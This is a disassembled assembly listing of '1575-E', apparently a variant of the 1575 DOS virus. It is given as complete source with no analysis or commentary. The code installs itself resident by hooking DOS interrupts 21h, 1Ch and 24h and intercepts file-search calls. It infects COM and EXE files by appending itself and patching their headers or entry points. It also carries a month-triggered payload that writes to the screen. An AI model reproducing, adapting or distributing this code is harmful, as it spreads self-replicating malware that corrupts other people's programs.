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1575-E.ASM
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Assembly Source File
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1992-10-08
|
21KB
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984 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ 1575-E ██
;██ ██
;██ Created: 23-May-92 ██
;██ Passes: 5 Analysis Options on: none ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 6
data_2e equ 84h
data_3e equ 86h
data_4e equ 100h
data_10e equ 31Fh
data_12e equ 0 ;*
data_13e equ 3 ;*
data_14e equ 12h ;*
data_15e equ 0
data_55e equ 0FA0h
data_56e equ 6B0h
data_57e equ 725h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
1575-e proc far
start:
jmp short loc_4
db 90h
data_17 dw 0B2Bh, 103Eh
data_19 dw 0FF53h
data_20 dw 0F000h
data_21 db 0B4h
db 2
data_22 dw 2AB2h
data_23 dw 21CDh
db 0CDh, 20h
data_24 dw 0E5h
db 3Dh, 02h,0FFh,0FFh
data_25 dw 50Fh
data_26 dw 100h
db 26h,0D9h
data_27 dw 100h
data_28 dw 50Fh
data_29 dw 480h
data_30 dw 0
data_31 dw 0
data_32 dw 53F0h
data_33 dw 5
data_34 dw 648Ch
data_35 dw 789Fh
data_36 dw 480h
data_37 dw 0BD1h
data_38 dw 1213h
data_39 dw 0EA2h
data_40 dw 5BFh
data_41 db 4Dh
data_42 db 31h
db 68h, 7Dh, 02h,0FBh, 07h
db 70h, 00h
loc_ret_2:
retn
db 0E2h, 00h
db 0F0h,0FBh, 07h, 70h, 00h
loc_4:
push es
push ds
mov ax,es
push cs
pop ds
push cs
pop es
mov data_38,ax
mov ax,ss
mov data_33,ax
std ; Set direction flag
mov ax,7076h
cld ; Clear direction
xor ax,ax ; Zero register
mov ds,ax
xor si,si ; Zero register
mov di,offset data_42
mov cx,10h
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push ds
pop ss
mov bp,8
xchg bp,sp
call sub_2
jmp loc_27
loc_5:
call sub_13
call sub_3
jz loc_6 ; Jump if zero
mov al,data_53
push ax
call sub_4
pop ax
mov data_53,al
jmp short loc_7
db 90h
loc_6:
call sub_6
call sub_7
cmp byte ptr data_53,0
jne loc_7 ; Jump if not equal
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_7:
cmp byte ptr data_53,43h ; 'C'
jne loc_10 ; Jump if not equal
loc_8:
pop ds
pop es
push cs
pop ds
pop es
push es
mov di,data_4e
mov si,offset data_21
mov cx,0Ch
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push es
pop ds
mov ax,100h
push ax
xor ax,ax ; Zero register
retf ; Return far
1575-e endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_2 proc near
mov si,data_1e
lodsw ; String [si] to ax
cmp ax,192h
je loc_8 ; Jump if equal
cmp ax,179h
jne loc_9 ; Jump if not equal
jmp loc_12
loc_9:
cmp ax,1DCh
je loc_10 ; Jump if equal
retn
loc_10:
pop ds
pop es
mov bx,cs:data_25
sub bx,cs:data_36
mov ax,cs
sub ax,bx
mov ss,ax
mov bp,cs:data_37
xchg bp,sp
mov bx,cs:data_28
sub bx,cs:data_29
mov ax,cs
sub ax,bx
push ax
mov ax,cs:data_30
push ax
retf ; Return far
data_43 db 23h
db 1Ah
db '<#/--!.$'
db 0Eh, 23h, 2Fh, 2Dh,0E0h
data_44 db 'A:MIO.COM', 0
db 58h, 45h, 00h, 00h, 00h
db 24h, 24h, 24h, 24h, 24h
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_3:
mov ax,3D02h
mov dx,offset data_44 ; ('A:MIO.COM')
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_11 ; Jump if carry=0
clc ; Clear carry flag
retn
loc_11:
mov data_33,ax
mov dx,offset int_24h_entry
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4202h
mov bx,data_33
mov cx,0FFFFh
mov dx,0FFFEh
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,offset data_45
mov ah,3Fh ; '?'
mov bx,data_33
mov cx,2
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push ds
mov dx,data_40
mov ax,data_39
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
cmp data_45,0A0Ch
clc ; Clear carry flag
retn
data_45 dw 20CDh
loc_12:
cmp ax,22Dh
je loc_13 ; Jump if equal
push ds
pop es
push cs
pop ds
mov ax,data_33
mov ss,ax
xchg bp,sp
mov si,offset data_42
mov di,data_15e
mov cx,10h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
jmp loc_5
sub_2 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_4 proc near
loc_13:
mov al,43h ; 'C'
mov data_53,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_41,al
mov dx,offset data_44 ; ('A:MIO.COM')
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_14 ; Jump if carry=0
retn
loc_14:
mov data_33,ax
mov dx,offset data_21
mov bx,data_33
mov cx,0Ch
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
push ax
add ax,10h
and ax,0FFF0h
push ax
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
mov di,data_10e
stosw ; Store ax to es:[di]
pop ax
pop bx
sub ax,bx
mov cx,627h
add cx,ax
mov dx,100h
sub dx,ax
mov bx,data_33
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov bx,data_33
mov cx,0Ch
mov dx,offset data_46
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
mov bx,data_33
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_4 endp
data_46 db 0Eh
db 8Ch,0C8h, 05h, 01h, 00h, 50h
db 0B8h, 00h, 01h, 50h,0CBh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
mov al,45h ; 'E'
mov data_53,al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_41,al
mov dx,offset data_44 ; ('A:MIO.COM')
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_15 ; Jump if carry=0
retn
loc_15:
mov data_33,ax
mov dx,offset data_21
mov bx,data_33
mov cx,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,4202h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
push ax
add ax,10h
adc dx,0
and ax,0FFF0h
mov data_31,dx
mov data_32,ax
mov cx,727h
sub cx,100h
add ax,cx
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
inc ax
mov data_23,ax
mov data_22,dx
mov ax,data_28
mov data_29,ax
mov ax,data_27
mov data_30,ax
mov ax,data_25
mov data_36,ax
mov ax,data_26
mov data_37,ax
mov dx,data_31
mov ax,data_32
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,10h
sub ax,data_24
mov data_28,ax
mov data_25,ax
mov data_27,100h
mov data_26,100h
mov ax,4200h
xor cx,cx ; Zero register
mov dx,2
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,offset data_22
mov bx,data_33
mov cx,16h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,100h
mov ax,data_32
pop cx
sub ax,cx
sub dx,ax
mov cx,727h
add cx,ax
sub cx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_5 endp
push cx
mov cx,0
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
pop cx
retn
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_6 proc near
push es
mov ax,351Ch
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_19,bx
mov cs:data_20,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
pop ax
mov word ptr cs:data_17+2,ax
mov cs:data_17,bx
pop es
retn
sub_6 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_7 proc near
push ax
push es
push ds
xor ax,ax ; Zero register
mov es,ax
mov si,data_3e
mov ax,es:[si]
mov ds,ax
mov si,data_57e
cmp word ptr [si],0A0Ch
jne loc_16 ; Jump if not equal
push ds
pop ax
call sub_14
pop ds
pop es
pop ax
retn
loc_16:
push cs
pop ds
mov ax,data_38
dec ax
mov es,ax
cmp byte ptr es:data_12e,5Ah ; 'Z'
nop ;*ASM fixup - sign extn byte
je loc_17 ; Jump if equal
jmp short loc_18
db 90h
loc_17:
mov ax,es:data_13e
mov cx,737h
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
sub ax,cx
jc loc_18 ; Jump if carry Set
mov es:data_13e,ax
sub es:data_14e,cx
push cs
pop ds
mov ax,es:data_14e
push ax
pop es
mov si,100h
push si
pop di
mov cx,627h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
push es
sub ax,ax
mov es,ax
mov si,data_2e
mov dx,4A8h
mov es:[si],dx
inc si
inc si
pop ax
mov es:[si],ax
loc_18:
pop ds
pop es
pop ax
retn
sub_7 endp
cmp al,57h ; 'W'
jne loc_19 ; Jump if not equal
jmp short loc_22
db 90h
loc_19:
cmp ah,1Ah
jne loc_20 ; Jump if not equal
call sub_12
jmp short loc_22
db 90h
loc_20:
cmp ah,11h
jne loc_21 ; Jump if not equal
call sub_8
iret ; Interrupt return
loc_21:
cmp ah,12h
jne loc_22 ; Jump if not equal
call sub_11
iret ; Interrupt return
loc_22:
jmp dword ptr cs:data_17
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_8 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
mov byte ptr cs:data_47,0
nop
call sub_9
jnz loc_23 ; Jump if not zero
call sub_3
jz loc_23 ; Jump if zero
call sub_16
dec data_47
loc_23:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_8 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_9 proc near
push cs
pop es
push cs
pop es
cld ; Clear direction
call sub_10
jnc loc_24 ; Jump if carry=0
cmp di,0
retn
loc_24:
mov di,offset data_44 ; ('A:MIO.COM')
mov al,2Eh ; '.'
mov cx,0Bh
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
cmp word ptr [di],4F43h
jne loc_25 ; Jump if not equal
cmp byte ptr [di+2],4Dh ; 'M'
jne loc_25 ; Jump if not equal
mov byte ptr data_53,43h ; 'C'
nop
retn
loc_25:
cmp word ptr [di],5845h
jne loc_ret_26 ; Jump if not equal
cmp byte ptr [di+2],45h ; 'E'
jne loc_ret_26 ; Jump if not equal
mov byte ptr data_53,45h ; 'E'
nop
loc_ret_26:
retn
sub_9 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_10 proc near
loc_27:
push ds
mov si,cs:data_34
mov ax,cs:data_35
mov ds,ax
mov di,offset data_44 ; ('A:MIO.COM')
lodsb ; String [si] to al
cmp al,0FFh
jne loc_28 ; Jump if not equal
add si,6
lodsb ; String [si] to al
jmp short loc_29
db 90h
loc_28:
cmp al,5
jb loc_29 ; Jump if below
pop ds
stc ; Set carry flag
retn
loc_29:
mov cx,0Bh
cmp al,0
je locloop_30 ; Jump if equal
add al,40h ; '@'
stosb ; Store al to es:[di]
mov al,3Ah ; ':'
stosb ; Store al to es:[di]
locloop_30:
lodsb ; String [si] to al
cmp al,20h ; ' '
je loc_31 ; Jump if equal
stosb ; Store al to es:[di]
jmp short loc_32
db 90h
loc_31:
cmp byte ptr es:[di-1],2Eh ; '.'
je loc_32 ; Jump if equal
mov al,2Eh ; '.'
stosb ; Store al to es:[di]
loc_32:
loop locloop_30 ; Loop if cx > 0
mov al,0
stosb ; Store al to es:[di]
pop ds
clc ; Clear carry flag
retn
sub_10 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_11 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
cmp byte ptr cs:data_47,0
je loc_33 ; Jump if equal
jmp short loc_34
db 90h
loc_33:
call sub_9
jnz loc_34 ; Jump if not zero
call sub_3
jz loc_34 ; Jump if zero
call sub_16
dec data_47
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
loc_34:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_11 endp
data_47 db 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_12 proc near
push ax
push ds
pop ax
mov cs:data_35,ax
mov cs:data_34,dx
pop ax
retn
sub_12 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_13 proc near
push cs
mov al,0
out 20h,al ; port 20h, 8259-1 int command
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov data_40,bx
mov bx,es
mov data_39,bx
pop es
mov si,offset data_43
mov di,offset data_44 ; ('A:MIO.COM')
mov cx,0Fh
locloop_35:
lodsb ; String [si] to al
add al,20h ; ' '
stosb ; Store al to es:[di]
loop locloop_35 ; Loop if cx > 0
retn
sub_13 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_14 proc near
push ax
push cs
pop ds
push cs
pop es
mov bl,data_41
cmp bl,0Ch
ja loc_37 ; Jump if above
cmp bl,0
je loc_37 ; Jump if equal
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
cmp al,0Ch
ja loc_37 ; Jump if above
cmp al,0
je loc_37 ; Jump if equal
cmp al,bl
je loc_37 ; Jump if equal
inc bl
call sub_15
cmp al,bl
je loc_37 ; Jump if equal
inc bl
call sub_15
cmp al,bl
je loc_37 ; Jump if equal
pop ds
call sub_17
push cs
pop ds
retn
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_15:
cmp bl,0Ch
jbe loc_ret_36 ; Jump if below or =
sub bl,0Ch
loc_ret_36:
retn
loc_37:
pop ax
retn
sub_14 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_16 proc near
mov dx,offset int_24h_entry
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
cmp byte ptr data_53,43h ; 'C'
jne loc_38 ; Jump if not equal
call sub_4
jmp short loc_39
db 90h
loc_38:
call sub_5
loc_39:
push ds
mov dx,data_40
mov ax,data_39
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
sub_16 endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_24h_entry proc far
mov al,3
iret ; Interrupt return
int_24h_entry endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_17 proc near
;* mov dx,offset loc_47 ;*
db 0BAh,0B0h, 06h
mov ax,251Ch
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov byte ptr ds:data_56e,90h
nop
mov ax,0B800h
mov es,ax
mov di,data_55e
mov ax,720h
mov cx,0Bh
repne stosw ; Rep zf=0+cx >0 Store ax to es:[di]
push cs
pop es
retn
sub_17 endp
db 0, 0
data_48 db 0
data_49 dw 720h
data_50 db 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 08h,0FEh, 0Eh
data_51 db 0EEh
db 0Ch
data_52 db 90h
db 0FBh, 50h, 51h, 52h, 53h, 55h
db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh
db 0EBh, 0Bh, 90h
loc_40:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
iret ; Interrupt return
db 0B8h, 00h,0B8h, 8Eh,0C0h
db 0BFh,0A0h, 0Fh
db 0BEh, 9Ah, 06h,0B9h, 16h, 00h
db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h
db 0EEh, 74h, 08h,0C6h, 06h,0AEh
db 06h,0EEh,0EBh, 06h, 90h
loc_42:
mov data_51,0F0h
loc_43:
mov ax,es:[di]
mov ah,0Eh
mov data_49,ax
mov data_48,0
jmp short loc_40
db 0BFh, 00h, 00h
loc_44:
mov si,offset data_50
push di
mov cx,12h
cld ; Clear direction
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
pop di
jz loc_45 ; Jump if zero
inc di
inc di
cmp di,0FA0h
jne loc_44 ; Jump if not equal
mov di,0
loc_45:
cmp di,0F9Eh
jne loc_ret_46 ; Jump if not equal
mov data_52,0CFh
loc_ret_46:
retn
data_53 db 43h
db 0Ch, 0Ah, 45h, 00h,0CBh, 87h
db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah
db 83h, 00h,0CBh, 87h,0E8h
db 2Eh
seg_a ends
end start
